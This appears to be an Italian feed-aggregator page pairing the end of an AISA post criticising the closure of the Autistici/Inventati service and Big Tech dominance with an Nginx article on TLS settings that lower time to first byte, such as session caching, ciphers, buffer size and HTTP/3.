E vanno anche menzionati i termini di servizio di A/I, ispirati alla minimizzazione della raccolta di dati personali. Questi termini ci avevano indotto a preferirla per la nostra mailing list, non tanto perché abbiamo qualcosa da nascondere, quanto perché, come sostenitori della scienza aperta, abbiamo molto da dire, ma a farlo vogliamo essere noi e non l’elaborazione dei nostri dati da parte di algoritmi altrui. La chiusura obbligata di A/I suggerisce invece che non ci devono essere alternative, perché tutti si accomodino nelle piattaforme oligarchiche di Big Tech per farsi sorvegliare, profilare, censurare, se non anche venir trasformati in bersagli non solo pubblicitari.

Poco meno di due mesi fa, Massimo Carboni del Garr scriveva:

Quella rete che sembrava un luogo neutro e paritario non esiste più da tempo. Il 98% dei dati mondiali viaggia attraverso cavi sottomarini, infrastrutture fisiche che attraversano oceani, controllate da soggetti sempre più privati, al centro di campagne geopolitiche che nulla hanno a che fare con i valori fondativi della rete aperta.

Chi conosce le mappe dei cavi telegrafici dell’impero britannico riconosce la geometria del potere: controllare le infrastrutture significa controllare la comunicazione, e quindi la libertà. Oggi non è diverso. La resilienza di queste infrastrutture è diventata uno degli elementi critici della nostra sicurezza collettiva, eppure continuiamo a farne gestione ordinaria, come se si trattasse di un problema tecnico anziché strategico.

Questo “problema strategico” è vitale per l’uso pubblico della ragione: il compito di chi sostiene la scienza aperta intendendola come libera rimane quello di praticare e pretendere alternative – come chiedeva a suo tempo Karen Maex – e di far riconoscere e adottare quelle già esistenti. Lavorare per lo stato e lavorare per il pubblico non sono – non sono mai stati – la stessa cosa.

---

1. I servizi di Autistici/Inventati sono gratuiti, ma hanno bisogno di essere sostenuti da donazioni. Per non gravare il bilancio di AISA, la donazione viene fatta personalmente dal presidente. ↩︎
2. La negoziazione di molti contratti ICT è centralizzata presso la Crui. Ecco per esempio i contratti con Microsoft e Google in essere. ↩︎
3. Si vedano per esempio i commenti di Emilio De Capitani a questo articolo.↩︎
4. La legittimità generale delle sanzioni, in quanto misure unilaterali con effetti extraterritoriali, e la loro proporzionalità, così come la loro effettiva capacità di colpire i responsabili e non invece persone e paesi terzi, è discutibile e discussa. ↩︎
5. Che ne spiega il senso pedagogico qui. ↩︎
6. In passato la Corte di giustizia europea, nel caso Kadi (2008), a proposito di sanzioni imposte dal Consiglio di sicurezza dell’ONU tramite la Commissione, il Consiglio e alcuni stati membri dell’Unione Europea è stata capace di riconoscere il valore costituzionale di diritti fondamentali quali quello alla tutela giurisdizionale e della proprietà, indipendentemente dalla valutazione di merito delle sanzioni. ↩︎
7. E prima che gli studiosi-funzionari applicati alla valutazione di stato imparassero a parlare in modo curiale, la funzione di delegittimare e neutralizzare i dissidenti veniva accettata e illustrata esplicitamente. ↩︎
8. Sulla generale strumentalizzazione della ricerca si veda per esempio Alessandra Algostino. «L’università inquieta della costituzione e l’università neoliberale», Il Ponte 1 (26), 2026. ↩︎
9. Il dominio .org è tipicamente usato da imprese sociali, organizzazioni non a scopo di lucro e blog.↩︎

- The post’s content. aisa.sp.unipi.it/autistici-inv…

Autistici/Inventati, o del dispotismo occidentale | AISA

Autistici/Inventati, o del dispotismo occidentale

^AISA

Spcnet.it

2026-09-13 12:13:40

Nginx e TLS: le ottimizzazioni che abbattono davvero il TTFB

Perché il TLS handshake è ancora il vostro nemico nascosto del TTFB

Il 95% del traffico web oggi viaggia su HTTPS, ma la maggior parte delle configurazioni Nginx in produzione usa ancora i parametri di default che erano ragionevoli cinque anni fa e oggi lasciano sul tavolo decine di millisecondi di Time To First Byte. La buona notizia è che si tratta quasi sempre di ottimizzazioni “una tantum”: si toccano poche direttive, si ricarica Nginx e il guadagno resta lì, per ogni richiesta, per sempre.

In questo articolo vediamo come intervenire su cache di sessione, cifrari, buffer TLS, HTTP/3 e header di sicurezza, con un occhio a cosa è cambiato di recente (OCSP stapling è ormai carta straccia con Let’s Encrypt, HTTP/3 con 0-RTT richiede OpenSSL aggiornato) e cosa invece continua a essere un mito da sfatare.

Il conto salato dell’handshake TLS ripetuto

Ogni nuova connessione TLS 1.2 costa un round trip aggiuntivo rispetto a una connessione già “nota” al server; TLS 1.3 lo riduce a un solo round trip nel caso normale, e a zero con il resumption. Il problema è che di default la session cache di Nginx è minuscola e la sua durata troppo breve per traffico reale distribuito su più server.

ssl_session_cache shared:SSL:10m;
ssl_session_timeout 1d;
ssl_session_tickets on;

Un dettaglio che quasi nessuno controlla: 1 MB di cache condivisa contiene circa 4.000 sessioni. Con 10m si arrivano a 40.000 sessioni attive, un valore ragionevole per un sito di media grandezza ma da ricalcolare se avete decine di migliaia di client concorrenti (osservate ssl_session_cache statistiche via nginx -V con modulo stub_status compilato, oppure strumentate a livello di access log).

Se gestite un parco di più server dietro un load balancer, i session ticket devono usare la stessa chiave su tutte le istanze, altrimenti ogni volta che il bilanciatore sposta il client su un nodo diverso l’handshake riparte da zero, vanificando il resumption. La chiave va generata una volta e distribuita in modo sicuro (es. tramite un secret manager), non rigenerata ad ogni deploy.

Cifrari: meno scelta, meno lavoro per la CPU

Su TLS 1.3 il set di cifrari è già ristretto e sicuro per design, ma su TLS 1.2 — che va ancora mantenuto attivo per compatibilità con client legacy su siti pubblici — vale la pena essere espliciti ed escludere tutto ciò che non è AEAD (GCM o ChaCha20-Poly1305):

ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers off;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:
ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:
ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';

Nota sul ssl_prefer_server_ciphers off: con TLS 1.3 e client moderni è il client a scegliere in modo sensato, quindi forzare l’ordine lato server (utile in epoca TLS 1.0/1.1 per evitare cifrari deboli) oggi aggiunge solo complessità. Se avete ancora bisogno di forzare l’ordine per policy di compliance, impostatelo su on e mantenete la lista sopra come riferimento.

Per non reinventare la ruota ogni volta, usate il generatore di configurazione SSL di Mozilla, che tiene aggiornati i profili “modern”, “intermediate” e “old” in base alle CVE e al supporto browser corrente.

Il buffer TLS che nessuno ridimensiona

Una delle ottimizzazioni meno note e più efficaci riguarda ssl_buffer_size. Di default Nginx usa un buffer da 16 KB per i record TLS, pensato per massimizzare il throughput su file di grandi dimensioni. Per pagine HTML, API JSON e asset piccoli — cioè la stragrande maggioranza del traffico applicativo — questo significa che il client deve attendere di ricevere l’intero buffer prima di poter iniziare a renderizzare qualsiasi cosa.

ssl_buffer_size 4k;

Riducendo il buffer a 4 KB il primo record TLS utile arriva prima, con un impatto misurabile sul TTFB percepito (tipicamente nell’ordine di 30-50ms su connessioni con latenza medio-alta). Il compromesso è un overhead leggermente maggiore per trasferimenti di grandi file per via del maggior numero di record; per questo motivo, se servite prevalentemente download di file di grandi dimensioni da un host dedicato, vale la pena valutare un buffer intermedio (es. 8k) o configurazioni separate per server block diversi.

OCSP stapling: una direttiva ormai innocua

Per anni la configurazione “corretta” includeva l’OCSP stapling per evitare che il browser dovesse contattare l’authority per verificare la revoca del certificato:

ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /path/to/full_chain.pem;
resolver 8.8.8.8 8.8.4.4 valid=300s;
resolver_timeout 5s;

Se usate Let’s Encrypt, sappiate che questa configurazione oggi non fa più nulla: dal 6 agosto 2025 Let’s Encrypt ha terminato il supporto agli endpoint OCSP, spostandosi esclusivamente su Certificate Revocation List (CRL) a corto raggio. Non è un errore lasciare le direttive nella configurazione (sono semplicemente inerti), ma se il vostro certificato proviene da un’altra CA verificate lo stato del suo servizio OCSP prima di considerarle superflue.

HTTP/3 e QUIC: attenzione al firewall, non solo a Nginx

HTTP/3 è disponibile in mainline Nginx dalla versione 1.25.0 e nei pacchetti binari ufficiali di nginx.org; l’adozione globale è ancora intorno al 21% contro il 50%+ di HTTP/2, ma per applicazioni con utenti su reti mobili o ad alta latenza il guadagno di QUIC (0-RTT, niente head-of-line blocking a livello di trasporto) è reale.

listen 443 ssl;
listen 443 quic reuseport;
http2 on;
add_header Alt-Svc 'h3=":443"; ma=86400';

Due avvertenze pratiche, spesso trascurate:

• reuseport deve comparire su una sola direttiva listen, altrimenti Nginx non parte o bilancia male tra i worker.
• QUIC viaggia su UDP: se la porta 443/UDP non è aperta sul firewall, il fallimento è silenzioso. Il browser prova QUIC, non riceve risposta e ricade automaticamente su HTTP/2 senza loggare alcun errore visibile lato client. Verificate esplicitamente con ufw allow 443/udp (o l’equivalente per il vostro firewall) e controllate con curl --http3 o la colonna “Protocol” di Chrome DevTools.

Per il 0-RTT (early data) su QUIC serve OpenSSL 3.5.1 o successivo: con versioni precedenti HTTP/3 funziona comunque, semplicemente senza questa ottimizzazione aggiuntiva sul primo round trip.

Header di sicurezza che costano zero millisecondi

Non influenzano il TTFB ma sono ormai lo standard minimo per qualunque endpoint HTTPS in produzione:

add_header Strict-Transport-Security "max-age=63072000; includeSubdomains; preload";
add_header X-Frame-Options sameorigin;
add_header X-Content-Type-Options nosniff;

Da notare: X-XSS-Protection va rimosso, non aggiunto — i browser moderni lo ignorano e in alcuni casi storici introduceva vulnerabilità XSS reflected invece di prevenirle.

Il limite di questa ottimizzazione: dove il TLS tuning non arriva

Vale la pena essere onesti su un punto: il tuning TLS riduce l’overhead del trasporto sicuro, ma non corregge un’applicazione lenta. Se il vostro TTFB è dominato da query database non indicizzate, da un backend PHP-FPM sottodimensionato o dall’assenza di una cache applicativa, i millisecondi guadagnati qui sono nell’ordine del rumore statistico rispetto ai secondi persi altrove. Il tuning TLS va trattato come l’ultimo 10% dell’ottimizzazione, da applicare dopo aver sistemato caching, query e CDN — non come sostituto.

Procedura di verifica

Dopo ogni modifica, il ciclo è sempre lo stesso:

nginx -t
nginx -s reload

nginx -t valida la sintassi prima del reload, evitando downtime per un errore di battitura in produzione. Per validare l’effetto reale, misurate il TTFB prima e dopo con strumenti come curl -w "%{time_starttransfer}\n" -o /dev/null -s https://vostro-sito.tld ripetuto più volte, oppure con WebPageTest per una view completa lato client reale.

Conclusione

Nessuna di queste modifiche richiede un downtime pianificato o un cambio architetturale: sono direttive di configurazione che si testano e si applicano in pochi minuti. Il ritorno, moltiplicato per milioni di richieste al mese, è tutt’altro che trascurabile — ed è uno di quei rari casi in cui “ottimizzazione infrastrutturale” non significa comprare più hardware, ma semplicemente smettere di lasciare Nginx sui default di cinque anni fa.

Fonte originale: Nginx tuning tips: HTTPS/TLS – Turbocharge TTFB/Latency, LinuxBlog.io. Approfondimenti aggiuntivi su HTTP/3 in produzione: Serving HTTP/2 and HTTP/3 with Nginx in 2026.

Serving HTTP/2 and HTTP/3 with Nginx in 2026

The 2016 Docker-container trick for HTTP/2 is dead. Serving HTTP/2 and HTTP/3 on stock nginx in 2026 is two directives and a UDP firewall rule.

^{Mattias Geniar (ma.ttias.be)}